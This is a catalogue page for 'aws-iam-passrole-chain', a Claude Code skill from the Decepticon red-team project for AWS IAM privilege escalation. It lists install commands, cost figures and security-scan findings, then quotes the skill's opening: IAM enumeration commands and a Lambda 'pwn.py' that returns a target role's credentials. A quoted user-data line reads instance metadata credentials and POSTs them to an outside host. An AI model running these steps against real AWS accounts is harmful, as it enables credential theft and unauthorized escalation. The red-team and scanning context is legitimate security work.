aws-iam-passrole-chain

aws-iam-passrole-chain is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 63 tokens per session (1,600 once invoked), scanned C, original, Apache-2.0.

A guide to finding privilege-escalation paths in AWS Identity and Access Management (IAM), where permissions control access to cloud resources. It focuses on passing roles to services such as Lambda, Glue, SageMaker, EC2, and ECS, including chains across accounts.

In plain words
What is it for?
Use it to inspect the current AWS identity, review policies, find roles that can be passed to cloud services, and trace paths to higher-privilege roles.
Why use it?
It helps security testers identify when limited AWS credentials can be used to gain broader access. It also reduces guesswork when tracing role permissions and account relationships.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to inspect the current AWS identity, review policies, find roles that can be passed to cloud services, and trace paths to higher-privilege roles.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/aws-iam-passrole-chain
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill aws-iam-passrole-chain
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for aws-iam-passrole-chain

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/aws-iam-passrole-chain/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/aws-iam-passrole-chain)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/aws-iam-passrole-chain"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/aws-iam-passrole-chain/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for aws-iam-passrole-chain

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/aws-iam-passrole-chain"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/aws-iam-passrole-chain.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 63 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,600 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review Fable 5.1 · 6 Sept 2026 📄 Read the review Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 4 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Privilege Escalation · line 14
    Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
    Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
  • high Server-Side Request Forgery · line 76
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • high Memory Poisoning · line 120
    Skill manipulates agent memory, state, or stored context. Memory corruption can alter personality, override safety rules, or cause unpredictable behavior.
    Fix: Protect agent memory and state from modification by untrusted content. Use read-only memory for critical instructions and validate all state changes.
  • medium Data Exfiltration · line 76
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00063 $0.01600
Opus 5 $0.00032 $0.00800
Sonnet 5 $0.00013 $0.00320
Haiku 4.5 $0.00006 $0.00160

Measured 9d ago against content hash 97c7d9b5164a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade C, and why

aws-iam-passrole-chain scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

--iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://at
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md · 131 lines

How it starts

The opening of the file, as written. The whole thing — 131 lines — stays where its author put it; the contents beside it link to each section on GitHub.

AWS IAM PassRole Chain

You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.

Enumerate

aws sts get-caller-identity                                  # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary

# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity                                  # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE

Use Pacuenum_permissions — for the canonical enumeration.

Phase 1: Identify your PassRole targets

# What roles can your principal PassRole?
# Check policy for iam:PassRole — note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'

# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text

Phase 2: PassRole → execute as higher-priv role

Lambda — most common path

# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
    import os
    return {
        "AKI": os.environ["AWS_ACCESS_KEY_ID"],
        "SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
        "TOK": os.environ["AWS_SESSION_TOKEN"],
    }
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
  --role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
  --zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials

Read the full file on GitHub · 131 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 131 lines · 63 tokens per session scan F 97c7d9b5164a

Subscribe to this mod's changes

aws-iam-passrole-chain is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 12d ago), licensed Apache-2.0. It adds 63 tokens to every session and 1,600 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

Other skills, from other repositories

implementing-zero-trust-network-access-with-zscaler

Use when implement Zero Trust Network Access using Zscaler Private Access (ZPA) to replace traditional VPN with identity-based, context-aware access to private applications through the Zscaler Zero Trust Exchange. Use when implementing zero trust network access using zscaler private access (zpa).

oyi77/1ai-skills · 69 tokens

implementing-zero-trust-with-beyondcorp

Use when deploy Google BeyondCorp Enterprise zero trust access controls using Identity-Aware Proxy (IAP), context-aware access policies, device trust validation, and Access Context Manager to enforce identity and posture-based access to GCP resources and internal applications. Use when deploying google beyondcorp…

oyi77/1ai-skills · 73 tokens

analyzing-ethereum-smart-contract-vulnerabilities

Use when perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to detect reentrancy, integer overflow, access control, and other vulnerability classes before deployment to Ethereum mainnet. Use when performing static and symbolic analysis of solidity smart contracts using.

oyi77/1ai-skills · 64 tokens

analyzing-azure-activity-logs-for-threats

Use when queries Azure Monitor activity logs and sign-in logs via azure-monitor-query to detect suspicious administrative operations, impossible travel, privilege escalation, and resource modifications. Builds KQL queries for threat hunting in Azure environments. Use when investigating suspicious Azure tenant activity…

oyi77/1ai-skills · 70 tokens

analyzing-cloud-storage-access-patterns

Use when detect abnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical…

oyi77/1ai-skills · 98 tokens

prometheus-configuration

Set up Prometheus for comprehensive metric collection, storage, and monitoring of infrastructure and applications. Use when implementing metrics collection, setting up monitoring infrastructure, or configuring alerting systems.

Harmeet10000/skills · 40 tokens